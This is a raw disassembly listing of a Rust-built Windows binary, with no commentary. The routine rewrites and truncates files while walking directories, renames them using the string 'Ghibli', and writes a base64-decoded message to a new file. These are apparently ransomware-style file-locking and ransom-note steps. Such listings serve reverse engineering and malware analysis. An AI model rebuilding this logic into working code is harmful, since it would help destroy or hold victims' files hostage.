call sym.std::fs::OpenOptions::truncate::h9a41f263a61071cf
mov rcx, rax
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
call sym.std::fs::OpenOptions::_open::he896709aed895608
mov r13, rdx
test rax, rax
je 0x14000306c
mov qword [rsp + 0x30], r13
mov rax, qword [0x140104928]
movzx eax, byte [rax]
mov ecx, 8
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x1400037a3
mov rbx, rax
mov qword [rax], r13
jmp 0x1400030c9
mov qword [rsp + 0x98], r13
lea rcx, [rsp + 0x98]
mov rdx, r14
mov r8, rbx
call sym.std::io::Write::write_all::h602bbd4e680fbb09
mov r13, rax
test rax, rax
je 0x140003105
mov qword [rsp + 0x30], r13
mov rax, qword [0x140104928]
movzx eax, byte [rax]
mov ecx, 8
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x1400037b4
mov rbx, rax
mov qword [rax], r13
mov rcx, qword [rsp + 0x98]
call fcn.1400d4ab4
test r15, r15
je 0x1400030df
mov r8d, 1
mov rcx, r14
mov rdx, r15
call sym.__rust_dealloc
lea r15, [rsp + 0x240]
mov r13, qword [rsp + 0x88]
mov rdx, qword [rsp + 0xf8]
test rdx, rdx
jne 0x140002316
jmp 0x140002329
lea rax, str.Ghibli
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x230], 6
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
movups xmmword [rax], xmm6
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x30]
call dbg.from_string
mov rcx, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
mov rdx, rbx
call dbg.parent
test rax, rax
je 0x140003173
mov r8, rdx
lea rcx, [rsp + 0xa0]
mov rdx, rax
call dbg._push
mov rcx, qword [rsp + 0x80]
mov rdx, rbx
call sym.std::path::Path::file_name::h97d2fb4074afd9cf
mov r8, rdx
test rax, rax
cmove r8, rax
lea rcx, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::h1dac8bad6221cc08
cmove rax, rcx
lea rcx, [rsp + 0x210]
mov rdx, rax
call sym.std::sys::windows::os_str::Slice::to_string_lossy::h5ecfa8be78d09ab2
lea rax, [rsp + 0x228]
mov qword [rsp + 0x108], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h2d40d4413b987c30]
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x118], rax
lea rax, [sym.__alloc::borrow::Cow_B__as_core::fmt::Display_::fmt::h5dfd375456450870]
mov qword [rsp + 0x120], rax
lea rax, [0x1400d81b8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 2
lea rcx, [rsp + 0x2b8]
lea rdx, [rsp + 0x30]
call dbg.format_inner
mov rcx, qword [rsp + 0x210]
test rcx, rcx
je 0x140003249
mov rdx, qword [rsp + 0x218]
test rdx, rdx
je 0x140003249
mov r8d, 1
call sym.__rust_dealloc
movups xmm0, xmmword [rsp + 0x2b8]
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x30]
call sym.std::path::PathBuf::push::hd85a911b945c56a5
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0xc0]
call dbg.as_mut_slice
mov r9, rdx
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov r8, rax
call dbg.rename
mov r13, rax
test rax, rax
je 0x14000331b
mov qword [rsp + 0x30], r13
mov rax, qword [0x140104928]
movzx eax, byte [rax]
mov ecx, 8
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x1400037c5
mov rbx, rax
mov qword [rax], r13
mov rdx, qword [rsp + 0xc8]
test rdx, rdx
je 0x1400030bc
mov rcx, qword [rsp + 0xc0]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x1400030bc
mov rdx, qword [rsp + 0xc8]
test rdx, rdx
je 0x14000333b
mov rcx, qword [rsp + 0xc0]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x98]
call fcn.1400d4ab4
test r15, r15
je 0x14000335e
mov r8d, 1
mov rcx, r14
mov rdx, r15
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xf8]
test rdx, rdx
je 0x14000337e
mov rcx, qword [rsp + 0xf0]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x90]
call fcn.1400d4ab4
lea r15, [rsp + 0x240]
lea rbx, [rsp + 0x390]
mov rdx, qword [rsp + 0x288]
test rdx, rdx
jne 0x140001f2d
jmp 0x140001f40
lea rcx, [rsp + 0x150]
mov r15, qword [rsp + 0xe8]
call sym.core::ptr::drop_in_place_walkdir::IntoIter_::h046862d0fd953d33
lea rcx, [rsp + 0x150]
mov r8d, 0xac
mov rdx, r15
mov r9d, 1
call sym.base64::decode::decode_config::h23286e106b594089
mov rdi, qword [rsp + 0x150]
test rdi, rdi
je 0x14000364e
mov rbx, qword [rsp + 0x158]
mov rsi, qword [rsp + 0x160]
lea rcx, [rsp + 0x150]
mov rdx, rdi
mov r8, rsi
call dbg.from_utf8
cmp qword [rsp + 0x150], 0
je 0x140003456
mov rax, qword [rsp + 0x158]
movzx ecx, byte [rsp + 0x160]
mov edx, dword [rsp + 0x161]
mov dword [rsp + 0x2d0], edx
mov edx, dword [rsp + 0x164]
mov dword [rsp + 0x2d3], edx
cmp cl, 2
jne 0x14000370b
lea rcx, [rsp + 0x150]
call sym.std::fs::OpenOptions::new::h00b548e601c0f2b8
lea rcx, [rsp + 0x150]
mov dl, 1
call sym.std::fs::OpenOptions::write::h3fe722f87b79a349
mov rcx, rax
mov dl, 1
call sym.std::fs::OpenOptions::create::h6869db05be565a8c
mov rcx, rax
mov dl, 1
call sym.std::fs::OpenOptions::truncate::h9a41f263a61071cf
lea rdx, [0x1400d82e9]
mov r8d, 0xb
mov rcx, rax
call sym.std::fs::OpenOptions::_open::he896709aed895608
mov r14, rdx
test rax, rax
jne 0x1400034d7
mov qword [rsp + 0x2d0], r14
lea rcx, [rsp + 0x2d0]
mov rdx, rdi
mov r8, rsi
call sym.std::io::Write::write_all::h602bbd4e680fbb09
mov r14, rax
mov rcx, qword [rsp + 0x2d0]
test rax, rax
je 0x1400035b7
call fcn.1400d4ab4
test rbx, rbx
je 0x1400034ed
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call sym.__rust_dealloc
mov qword [rsp + 0x238], r14
lea rax, [rsp + 0x238]
mov qword [rsp + 0x2d0], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hd2ad2949d5242a6a]
mov qword [rsp + 0x2d8], rax
lea rax, [0x1400d8318]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0x150]
call dbg._eprint
mov rax, qword [rsp + 0x238]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x1400035d2
test rcx, rcx
je 0x1400035d2
lea rdi, [rax - 1]
mov rbx, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rbx
call qword [r14]
mov rdx, qword [r14 + 8]
test rdx, rdx
je 0x1400035a7
mov r8, qword [r14 + 0x10]
mov rcx, rbx
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rdi
jmp 0x1400035cd
call fcn.1400d4ab4
test rbx, rbx
je 0x1400035d2
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call sym.__rust_dealloc
mov edx, 0xac
mov r8d, 1
mov rcx, r15
call sym.__rust_dealloc
movaps xmm6, xmmword [rsp + 0x410]
add rsp, 0x428
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 8
call dbg.handle_alloc_error
jmp 0x1400037d4
mov ecx, 1
mov edx, 0xac
call dbg.handle_alloc_error
ud2
mov ecx, 1
mov edx, 0xac
call dbg.handle_alloc_error
jmp 0x1400037d4
mov ecx, 1
mov edx, 0xac
call dbg.handle_alloc_error
jmp 0x1400037d4
movups xmm0, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0x2d0], xmm0
lea rax, [0x1400d8278]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_decode_base64_message
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::h1dac8bad6221cc08
lea r8, [rsp + 0x2d0]
mov edx, 0x1f
call dbg.unwrap_failed
jmp 0x1400037d4
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 0xac
mov qword [rsp + 0x160], 0xac
mov qword [rsp + 0x168], rax
mov byte [rsp + 0x170], cl
mov eax, dword [rsp + 0x2d0]
mov ecx, dword [rsp + 0x2d3]
mov dword [rsp + 0x171], eax
mov dword [rsp + 0x174], ecx
lea rax, [0x1400d82d0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valuesrc_main.rs
lea r9, sym.core::ptr::drop_in_place_alloc::string::FromUtf8Error_::hc7d9d4712307a2ae
lea r8, [rsp + 0x150]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400037d4
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], rax
mov byte [rsp + 0x170], cl
mov eax, dword [rsp + 0x2d0]
mov ecx, dword [rsp + 0x2d3]
mov dword [rsp + 0x171], eax
mov dword [rsp + 0x174], ecx
lea rax, [0x1400d82b8]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_convert_message_to_string
lea r9, sym.core::ptr::drop_in_place_alloc::string::FromUtf8Error_::hc7d9d4712307a2ae
lea r8, [rsp + 0x150]
mov edx, 0x23
call dbg.unwrap_failed
jmp 0x1400037d4
mov ecx, 8
mov edx, 8
call dbg.handle_alloc_error
jmp 0x1400037d4
call dbg.capacity_overflow
jmp 0x1400037d4
mov ecx, 1
mov rdx, r15
call dbg.handle_alloc_error
jmp 0x1400037d4
mov ecx, 8
mov edx, 8
call dbg.handle_alloc_error
jmp 0x1400037d4
mov ecx, 8
mov edx, 8
call dbg.handle_alloc_error
jmp 0x1400037d4
mov ecx, 8
mov edx, 8
call dbg.handle_alloc_error
ud2